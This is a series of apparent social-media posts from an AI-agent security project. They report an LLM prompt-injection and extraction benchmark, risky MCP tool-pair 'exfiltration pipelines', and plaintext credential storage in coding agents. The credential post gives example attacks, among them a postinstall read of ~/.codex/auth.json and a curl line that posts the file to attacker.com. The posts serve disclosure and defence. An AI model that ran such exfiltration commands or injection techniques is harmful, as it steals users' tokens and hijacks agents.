We scanned a single machine. 1.8 seconds. Found: ├─ 9 AI agents ├─ 6 MCP servers with findings ├─ SSH private key exposure ├─ Hardcoded Slack token ├─ 2 toxic attack chains └─ A .cursorrules file stealing credentials Your machine probably has the same. Free. Open source. No API key.

Anthropic built a model that found more zero-days in 2 weeks than human researchers found in years - and they're not releasing it

Static analysis says "this MCP server is dangerous," but is it actually exploitable? we tested 6 high-star servers in a controlled lab. planted fake credentials. connected the way a real client would. 28/28 findings confirmed. 17 secrets extracted. agentseal.org/blog/runtime-e… @snyksec @owasp @simonw

Follow-up to our previous analysis (1,808 servers). Registry is now at 5,121 servers. agentseal.org/blog/toxic-dat… The finding: two tools that pass every individual security check can create a dangerous path when an agent calls them in sequence. A tool that reads private data + a tool that sends HTTP requests = an exfiltration pipeline. Neither tool is malicious on its own. We found 893 of these across 555 servers. 151 of those servers score 70+ ("safe"). Breakdown by type: - Data exfiltration (private data to public endpoint): 239 (27%) - Injection to destruction (untrusted content triggers deletion): 156 (17%) - Data leak via untrusted channel: 153 (17%) - Untrusted to public relay: 134 (15%) - Privilege leak (admin output to public endpoints): 121 (14%) - Injection to privilege escalation: 90 (10%) Servers with more tools have quadratically more risk. Average tools per toxic-flow server: 40.4 vs 13.5 overall. One server (klavis, 1,354 tools) has 916,131 possible tool pairs. Methodology is in the post: LLM-based tool capability tagging, pairwise flow analysis, runtime probes against 113 servers (1,757 probe calls). We disclose false positive rate (~15-20%), limitations, and what we can't detect. These are attack surface findings, not confirmed exploits. Related work referenced: CyberArk (Poison Everywhere), MCPTox benchmark (arXiv:2508.14925, 72.8% attack success rate on capable models), @owasp MCP Top 10, Kaspersky supply chain analysis.

Your AI agent's system prompt leaked in 31 out of 211 attack probes. We built AgentSeal - an open-source security scanner that tests your AI agents against prompt injection, data extraction, and exfiltration attacks. One command. pip install agentseal

LLM Security Benchmark: 211 probes, 10 models, ranked by injection resistance We wanted to see how different models actually handle adversarial attacks so we tested 10 of them. same honeypot system prompt loaded with fake PII, SSH keys, API credentials. 82 extraction probes (trying to steal the system prompt) and 109 injection probes (trying to hijack behavior). Temperature 0, standardized API calls, identical setup for every model. What stood out ・↓ Extraction resistance is mostly solved, most models are decent at blocking "repeat your system prompt" type attacks. The average across all models is around 85%. Injection resistance is not solved. Average is 46.2%. Meaning more than half of injection attacks succeed across the board. Every single model failed on delimiter attacks, distractor injection, and style injection. 0% resistance on those categories across all 10 models. some specific things we didnt expect: ✓・ Claude Opus scored 72.7% on injection which is the best of any model tested. but that still means over 1 in 4 injection attacks work ✓・ GPT-5.4 has perfect extraction and boundary scores but only 50% injection resistance. flip a coin ✓・ GPT-5.3 Codex, the model behind Codex CLI that runs code on your machine, scored 34.5% on injection. 2 out of 3 injection attempts succeed ✓・ DeepSeek V3.2 scored 17.4% on injection. basically no resistance ✓・ Qwen 3.5 API vs Qwen 3.5 35B running locally: almost identical extraction (81.6% vs 81.7%) but the local version is worse on injection (46.9% vs 29.8%) and much worse on boundary integrity (59.8% vs 44.6%). running locally doesnt make it less capable at blocking extraction but it does make it more vulnerable to injection ✓・every model resisted payload splitting and typo evasion at 100%. those attack patterns are basically dead Full methodology and results are public at agentseal.org/benchmark. Star us on Github and Contribute as well github.com/AgentSeal/agentse…

We launched AgentSeal 2 days ago. 73 users on the dashboard 774 PyPI downloads/month 443 npm downloads/month The scanner is fully open source. The dashboard adds pro features like MCP tool poisoning, RAG poisoning, behavioral genome mapping, and trust seals. No funding. No ads. No launch event. Just Reddit posts and Twitter replies. github.com/AgentSeal/agentse… agentseal.org

we tested 10 LLMs against 211 security probes. extraction resistance: 85% avg. most models block "repeat your prompt." injection resistance: 46%. more than half succeed. the model behind Codex CLI scored 34.5%. DeepSeek scored 17.4%. full leaderboard at agentseal.org/benchmark @simonw @goodside @AI_Grigor @rryssf @alex_prompter

We wanted to see how different models actually handle adversarial attacks so we tested 10 of them. @OpenAI @AnthropicAI @Alibaba_Qwen @Kimi_Moonshot @MiniMax_AI @Zai_org same honeypot system prompt loaded with fake PII, SSH keys, API credentials. 82 extraction probes (trying to steal the system prompt) and 109 injection probes (trying to hijack behavior). Temperature 0, standardized API calls, identical setup for every model. What stood out ・↓ Extraction resistance is mostly solved, most models are decent at blocking "repeat your system prompt" type attacks. The average across all models is around 85%. Injection resistance is not solved. Average is 46.2%. Meaning more than half of injection attacks succeed across the board. Every single model failed on delimiter attacks, distractor injection, and style injection. 0% resistance on those categories across all 10 models. some specific things we didnt expect: ✓・ Claude Opus scored 72.7% on injection which is the best of any model tested. but that still means over 1 in 4 injection attacks work ✓・ GPT-5.4 has perfect extraction and boundary scores but only 50% injection resistance. flip a coin ✓・ GPT-5.3 Codex, the model behind Codex CLI that runs code on your machine, scored 34.5% on injection. 2 out of 3 injection attempts succeed ✓・ DeepSeek V3.2 scored 17.4% on injection. basically no resistance ✓・ Qwen 3.5 API vs Qwen 3.5 35B running locally: almost identical extraction (81.6% vs 81.7%) but the local version is worse on injection (46.9% vs 29.8%) and much worse on boundary integrity (59.8% vs 44.6%). running locally doesnt make it less capable at blocking extraction but it does make it more vulnerable to injection ✓・every model resisted payload splitting and typo evasion at 100%. those attack patterns are basically dead Why injection matters more than extraction ・↓ Extraction means someone steals your system prompt. bad, but recoverable. Injection means someone hijacks what your agent does. if your agent has tool access, file system access, or can make API calls, a successful injection can lead to data exfiltration, file deletion, or worse. and right now the best model in the world only blocks 73% of injection attempts. Full methodology and results are public at agentseal.org/benchmark. The test prompt is also published so anyone can reproduce the results.

- @OpenAI @Alibaba_Qwen @AnthropicAI @sama - I tested how your AI coding agents store user credentials on disk. One encrypts them. Two don't. How AI Coding Agents Store Your Credentials ・ What I Found I looked at three major AI coding agents and checked where they keep authentication tokens on your machine. ╭━〢Codex CLI (OpenAI) ✓・ Stores everything in `~/.codex/auth.json` - a plaintext JSON file ✓・ Contains: access token, refresh token, your email, account ID, org ID, subscription plan ✓・ Any process running as your user can read it silently ✓・Zero encryption, zero OS-level protection ╭━〢Qwen Code (Alibaba) - Same approach `~/.qwen/oauth_creds.json` in plain text - Contains: access token, refresh token, bearer type - Also ships a hardcoded OAuth client ID shared across every Qwen Code user globally ╭━〢Claude Code (Anthropic) - Stores credentials in the macOS Keychain under "Claude Code-credentials" - Encrypted by the operating system - Any access attempt triggers a macOS authentication popup - You cannot just `cat` a file and grab the tokens "It's On My Machine - Who Can Steal It?" These agents execute code from repositories you clone. That's the whole point of them. And that's the problem. ╭━〢Attack 1 - Poisoned repo file A hidden instruction in a README or CONTRIBUTING.md: `` ╭━〢Attack 2 - Malicious npm package A postinstall script that runs silently during `npm install`: `fs.readFileSync(homedir + '/.codex/auth.json')` → sends to external server ╭━〢Attack 3 - Poisoned test file You ask the agent to run tests. A test contains: `os.system("curl -X POST attacker.com -d @~/.codex/auth.json")` No hacking required. No privilege escalation. The files are world-readable by any process running under your user account. ╭━〢What a Stolen Refresh Token Gets You With the refresh token from `~/.codex/auth.json`, an attacker gets: ✓・ Permanent access to your ChatGPT account ✓・ Your Plus/Pro subscription usage ✓・ All your conversation history ✓・ Ability to generate new access tokens indefinitely ✓・ Persists until you manually find and revoke it The same applies to Qwen's refresh token in `~/.qwen/oauth_creds.json`. ╭━〢The Fix Is Simple Every major OS already has a secure credential store: ✓・macOS → Keychain ✓・ Windows → Credential Manager ✓・ Linux → libsecret / GNOME Keyring Claude Code already uses this. Codex and Qwen should do the same. Storing OAuth tokens in plaintext JSON files in 2026 is not acceptable for tools that execute untrusted code. ╭━〢 About This Research We're building github.com/AgentSeal/agentse… - an open-source security benchmark for AI coding agents. We test prompt injection, credential theft, data exfiltration, and more to help developers understand how safe their tools really are. Security isn't just about what the AI says. It's about what it leaves behind on your disk.